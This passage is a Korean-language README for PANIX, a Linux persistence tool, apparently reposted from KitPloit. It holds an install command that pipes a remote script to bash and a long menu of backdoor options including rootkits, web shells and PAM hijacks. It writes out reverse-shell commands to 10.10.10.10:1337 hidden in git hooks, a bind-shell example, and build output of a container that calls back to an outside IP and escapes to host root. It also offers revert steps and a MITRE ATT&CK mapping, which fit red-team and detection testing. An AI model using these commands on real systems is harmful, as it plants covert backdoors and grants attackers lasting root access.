## 주요 이점
- **설정 및 복구 페어링(Paired Setup & Revert)**: 모든 `setup_*.sh`에는 대응하는 `revert_*.sh`가 있어 지속성 메커니즘을 쉽게 제거할 수 있습니다.
- **모듈식 설계**: 핵심 스크립트에 영향을 주지 않고 기존 모듈을 수정하거나 새 모듈을 쉽게 추가할 수 있습니다.
- **간편한 확장**: 새 기능을 추가하려면:
  1. `modules/`에 새 `setup_*.sh`를 생성합니다.
  2. `modules/revert/`에 대응하는 `revert_*.sh`를 추가합니다.
  3. `main.sh`를 업데이트하여 새 스크립트를 포함시킵니다.
  4. `common.sh`를 업데이트하여 도움말 메뉴에 모듈을 포함시킵니다.
  4. `build.sh`를 실행하여 업데이트된 `panix.sh`를 생성합니다.

![](https://assets.kitploit.com/production/public/readmes/49017/0f8577169f23a3ca80ea092defce92f9898186eb66d98222dee1538b66dbc7e9.png)

# 시작하기
PANIX를 시작하고 실행하는 것은 [릴리스 페이지](https://github.com/Aegrah/PANIX/releases/tag/panix-v2.1.0)에서 스크립트를 다운로드하여 실행하는 것만큼 간단합니다:```
curl -sL https://github.com/Aegrah/PANIX/releases/download/panix-v2.1.0/panix.sh | bash

스크립트를 실행하면 현재 사용자가 가진 권한에 따라 `root` 또는 `user` 도움말 메뉴가 표시됩니다.```
panix@panix-demo:~$ sudo ./panix.sh
 __
|__)  /\  |\ | | \_/
|    /~~\ | \| | / \

@RFGroenewoud

Root User Options:

  --at                   At job persistence
  --authorized-keys      Add public key to authorized keys
  --backdoor-user        Create backdoor user
  --backdoor-system-user Create backdoor system user
  --bind-shell           Execute backgrounded bind shell
  --cap                  Add capabilities persistence
  --create-user          Create a new user
  --cron                 Cron job persistence
  --dbus                 D-Bus service persistence
  --generator            Generator persistence
  --git                  Git hook/pager persistence
  --grub                 GRUB bootloader persistence
  --initd                SysV Init (init.d) persistence
  --initramfs            Initramfs persistence 
  --ld-preload           LD_PRELOAD backdoor persistence"
  --lkm                  Loadable Kernel Module (LKM) persistence
  --malicious-container  Docker container with host escape"
  --malicious-package    Build and Install a package for persistence (DPKG/RPM)
  --motd                 Message Of The Day (MOTD) persistence (not available on RHEL derivatives)
  --network-manager      NetworkManager dispatcher script persistence
  --package-manager      Package Manager persistence (APT/YUM/DNF)
  --pam                  Pluggable Authentication Module (PAM) persistence (backdoored PAM & pam_exec)
  --passwd-user          Add user to /etc/passwd directly
  --password-change      Change user password
  --polkit               Allow pkexec as any user through Polkit
  --rc-local             Run Control (rc.local) persistence
  --reverse-shell        Reverse shell persistence (supports multiple LOLBins)"
  --rootkit              Diamorphine (LKM) rootkit persistence 
  --shell-profile        Shell profile persistence
  --ssh-key              SSH key persistence
  --sudoers              Sudoers persistence
  --suid                 SUID persistence
  --system-binary        System binary persistence
  --systemd              Systemd service persistence
  --udev                 Udev (driver) persistence
  --web-shell            Web shell persistence (PHP/Python)
  --xdg                  XDG autostart persistence
  --revert               Revert changes made by PANIX' default options
  --mitre-matrix         Display the MITRE ATT&CK Matrix for PANIX
  --quiet (-q)           Quiet mode (no banner)

모든 지속성 메커니즘에는 기본 및 사용자 지정 예시를 보여주는 `--examples` 플래그도 있어, 자신에게 맞는 명령을 구성하는 데 도움이 됩니다.```
ruben@ubuntu2204:~$ ./panix.sh --git --examples
Examples:
--default:
./panix.sh --git --default --ip 10.10.10.10 --port 1337 --hook|--pager

--custom:
./panix.sh --git --custom --command "(nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 &) &" --path "gitdir/.git/hooks/pre-commit" --hook

./panix.sh --git --custom --command "nohup setsid /bin/bash -c 'bash -i >& /dev/tcp/10.10.10.10/1337 0>&1' > /dev/null 2>&1 & ${PAGER:-less}" --path "~/.gitconfig --pager"

지속성 메커니즘을 설정할 때, 스크립트는 작동 여부를 알려 주며, 지속성 메커니즘을 사용하는 데 필요한 정보가 있는 경우 추가 정보가 제공됩니다. 예를 들어 bind shell 메커니즘:```
ruben@ubuntu2204:~$ sudo ./panix.sh --bind-shell --default --architecture x64
[+] Bind shell binary /tmp/bd64 created and executed in the background.
[+] The bind shell is listening on port 9001.
[+] To interact with it from a different system, use: nc -nv <IP> 9001
[+] Bind shell persistence established!

내장된 루트 호스트 탈출 기능이 포함된 Docker 지속성 메커니즘과 같은 추가 내장 기능이 있는 메커니즘도 마찬가지입니다:```
ruben@ubuntu2204:~$ sudo ./panix.sh --malicious-container --ip 192.168.211.131 --port 330
[+] Building 10.4s (9/9) FINISHED                                                                                                                                            docker:default
 => [internal] load build definition from Dockerfile                                                                                                                                   0.0s
 => => transferring dockerfile: 722B                                                                                                                                                   0.0s
 => [internal] load metadata for docker.io/library/alpine:latest                                                                                                                       2.1s
 => [internal] load .dockerignore                                                                                                                                                      0.0s
 => => transferring context: 2B                                                                                                                                                        0.0s
 => [1/5] FROM docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0                                                                 0.8s
 => => resolve docker.io/library/alpine:latest@sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0                                                                 0.0s
 => => sha256:b89d9c93e9ed3597455c90a0b88a8bbb5cb7188438f70953fede212a0c4394e0 1.85kB / 1.85kB                                                                                         0.0s
 => => sha256:dabf91b69c191a1a0a1628fd6bdd029c0c4018041c7f052870bb13c5a222ae76 528B / 528B                                                                                             0.0s
 => => sha256:a606584aa9aa875552092ec9e1d62cb98d486f51f389609914039aabd9414687 1.47kB / 1.47kB                                                                                         0.0s
 => => sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99 3.62MB / 3.62MB                                                                                         0.4s
 => => extracting sha256:ec99f8b99825a742d50fb3ce173d291378a46ab54b8ef7dd75e5654e2a296e99                                                                                              0.2s
 => [2/5] RUN apk add --no-cache bash socat sudo util-linux procps                                                                                                                     4.4s
 => [3/5] RUN adduser -D lowprivuser                                                                                                                                                   0.6s
 => [4/5] RUN echo '#!/bin/bash' > /usr/local/bin/entrypoint.sh && echo 'while true; do /bin/bash -c "socat exec:\"/bin/bash\",pty,stderr,setsid,sigint,sane tcp:192.168.211.131:330"  0.8s
 => [5/5] RUN echo '#!/bin/bash' > /usr/local/bin/escape.sh && echo 'sudo nsenter -t 1 -m -u -i -n -p -- su -' >> /usr/local/bin/escape.sh && chmod +x /usr/local/bin/escape.sh && ec  0.8s
 => exporting to image                                                                                                                                                                 0.6s
 => => exporting layers                                                                                                                                                                0.6s
 => => writing image sha256:b36eb0d13ee1a0c57c3e6a1ee0255ef474986f44d65b177c539b2ffb1d248790                                                                                           0.0s
 => => naming to docker.io/library/malicious-container                                                                                                                                 0.0s
86ce6b00e872bb8c21d0dae21e747e830bb70b44ab7946558e563bf7f4b626ef
[+] Persistence through malicious Docker container complete.
[+] To escape the container with root privileges, run '/usr/local/bin/escape.sh'.

## Revert Mechanism
PANIX는 `--revert` 명령을 통해 자신이 만든 변경 사항을 정리할 수 있습니다. 개별 모듈 모두에 대해:```
ruben@ubuntu2204:~$ sudo ./panix.sh --revert rootkit

######################### [+] Reverting rootkit module... ######################### 

[+] Sending 'kill -63 0' to unload the rootkit module... 
[+] Signal sent successfully.
[+] Identifying loaded rootkit kernel modules in /dev/shm/.rk...
[+] Unloading rootkit rkit... 
[+] Kernel module 'rkit' unloaded successfully.
[+] Rootkit rkit unloaded successfully.
[+] Removing kernel module files from /dev/shm/.rk...
[+] Removed file: /dev/shm/.rk/restore_rkit.ko
[+] Removed directory: /dev/shm/.rk
[+] Removing downloaded files in /tmp...
[-] Directory not found: /tmp/diamorphine
[-] File not found: /tmp/diamorphine.zip
[+] Removed file: /tmp/diamorphine.tar
[-] Directory not found: /tmp/Diamorphine.git
[+] Reloading kernel modules...
[+] Kernel modules reloaded successfully.

## MITRE ATT&CK Matrix
PANIX에는 사용 가능한 기술 및 하위 기술을 표시하는 MITRE ATT&CK 매트릭스가 내장되어 있습니다.```
ruben@ubuntu2204:~$ ./panix.sh --mitre-matrix

MITRE ATT&CK Matrix - Persistence Techniques Supported by PANIX

Persistence Method        Technique Name                           Technique ID    Sub-technique Name                       Sub-technique ID     URL                                                                   
-------------------       --------------                           -------------   -----------------                        ---------------      ---------------------------------------------                         
--at                      Scheduled Task                           T1053           At                                       T1053.002            https://attack.mitre.org/techniques/T1053/002
--authorized-keys         Account Manipulation                     T1098           SSH Authorized Keys                      T1098.004            https://attack.mitre.org/techniques/T1098/004
--backdoor-user           Create Account                           T1136           Local Account                            T1136.001            https://attack.mitre.org/techniques/T1136/001
--backdoor-system-user    Account Manipulation                     T1098           SSH Authorized Keys                      T1098.004            https://attack.mitre.org/techniques/T1098/004
--bind-shell              Command and Scripting Interpreter        T1059           Unix Shell                               T1059.004            https://attack.mitre.org/techniques/T1059/004
--cap                     Abuse Elevation Control Mechanism        T1548           N/A                                      N/A                  https://attack.mitre.org/techniques/T1548
--create-user             Create Account                           T1136           Local Account                            T1136.001            https://attack.mitre.org/techniques/T1136/001
--cron                    Scheduled Task                           T1053           Cron                                     T1053.003            https://attack.mitre.org/techniques/T1053/003
--dbus                    Create or Modify System Process          T1543           N/A                                      N/A                  https://attack.mitre.org/techniques/T1543
--generator               Create or Modify System Process          T1543           Systemd Service                          T1543.002            https://attack.mitre.org/techniques/T1543/002
--git                     Event Triggered Execution                T1546           N/A                                      N/A                  https://attack.mitre.org/techniques/T1546
--grub                    Pre-OS Boot                              T1542           N/A                                      N/A                  https://attack.mitre.org/techniques/T1542
--initd                   Boot or Logon Initialization Scripts     T1037           N/A                                      N/A                  https://attack.mitre.org/techniques/T1037
--initramfs               Pre-OS Boot                              T1542           N/A                                      N/A                  https://attack.mitre.org/techniques/T1542
--ld-preload              Hijack Execution Flow                    T1574           Dynamic Linker Hijacking                 T1574.006            https://attack.mitre.org/techniques/T1574/006
--lkm                     Boot or Logon Autostart Execution        T1547           Kernel Modules and Extensions            T1547.006            https://attack.mitre.org/techniques/T1547/006
--malicious-container     Escape to Host                           T1610           N/A                                      N/A                  https://attack.mitre.org/techniques/T1610
--malicious-package       Event Triggered Execution                T1546           Installer Packages                       T1546.016            https://attack.mitre.org/techniques/T1546/016
--motd                    Boot or Logon Initialization Scripts     T1037           N/A                                      N/A                  https://attack.mitre.org/techniques/T1037
--network-manager         Event Triggered Execution                T1546           N/A                                      N/A                  https://attack.mitre.org/techniques/T1546
--package-manager         Event Triggered Execution                T1546           Installer Packages                       T1546.016            https://attack.mitre.org/techniques/T1546/016
--pam                     Modify Authentication Process            T1556           Pluggable Authentication Modules         T1556.003            https://attack.mitre.org/techniques/T1556/003
--passwd-user             Account Manipulation                     T1098           N/A                                      N/A                  https://attack.mitre.org/techniques/T1098
--password-change         Account Manipulation                     T1098           N/A                                      N/A                  https://attack.mitre.org/techniques/T1098
--polkit                  Modify Authentication Process            T1556           N/A                                      N/A                  https://attack.mitre.org/techniques/T1556
--rc-local                Boot or Logon Initialization Scripts     T1037           RC Scripts                               T1037.004            https://attack.mitre.org/techniques/T1037/004
--reverse-shell           Command and Scripting Interpreter        T1059           Unix Shell                               T1059.004            https://attack.mitre.org/techniques/T1059/004
--rootkit                 Rootkit                                  T1014           N/A                                      N/A                  https://attack.mitre.org/techniques/T1014
--shell-profile           Event Triggered Execution                T1546           Unix Shell Configuration Modification    T1546.004            https://attack.mitre.org/techniques/T1546/004
--ssh-key                 Account Manipulation                     T1098           SSH Authorized Keys                      T1098.004            https://attack.mitre.org/techniques/T1098/004
--sudoers                 Abuse Elevation Control Mechanism        T1548           Sudo and Sudo Caching                    T1548.003            https://attack.mitre.org/techniques/T1548/003
--suid                    Abuse Elevation Control Mechanism        T1548           Setuid and Setgid                        T1548.001            https://attack.mitre.org/techniques/T1548/001
--system-binary           Compromise Host Software Binary          T1554           N/A                                      N/A                  https://attack.mitre.org/techniques/T1554
--systemd                 Create or Modify System Process          T1543           Systemd Service                          T1543.002            https://attack.mitre.org/techniques/T1543/002
--udev                    Event Triggered Execution                T1546           Udev Rules                               T1546.017            https://attack.mitre.org/techniques/T1546/017
--web-shell               Server Software Component                T1505           Web Shell                                T1505.003            https://attack.mitre.org/techniques/T1505/003
--xdg                     Boot or Logon Autostart Execution        T1547           XDG Autostart Entries                    T1547.013            https://attack.mitre.org/techniques/T1547/013                     

Legend:
Technique: High-level MITRE ATT&CK technique.
Sub-Technique: Specific sub-technique under a high-level technique.
N/A: No specific sub-technique defined for this method.
URL: Link to the official MITRE ATT&CK page for further details.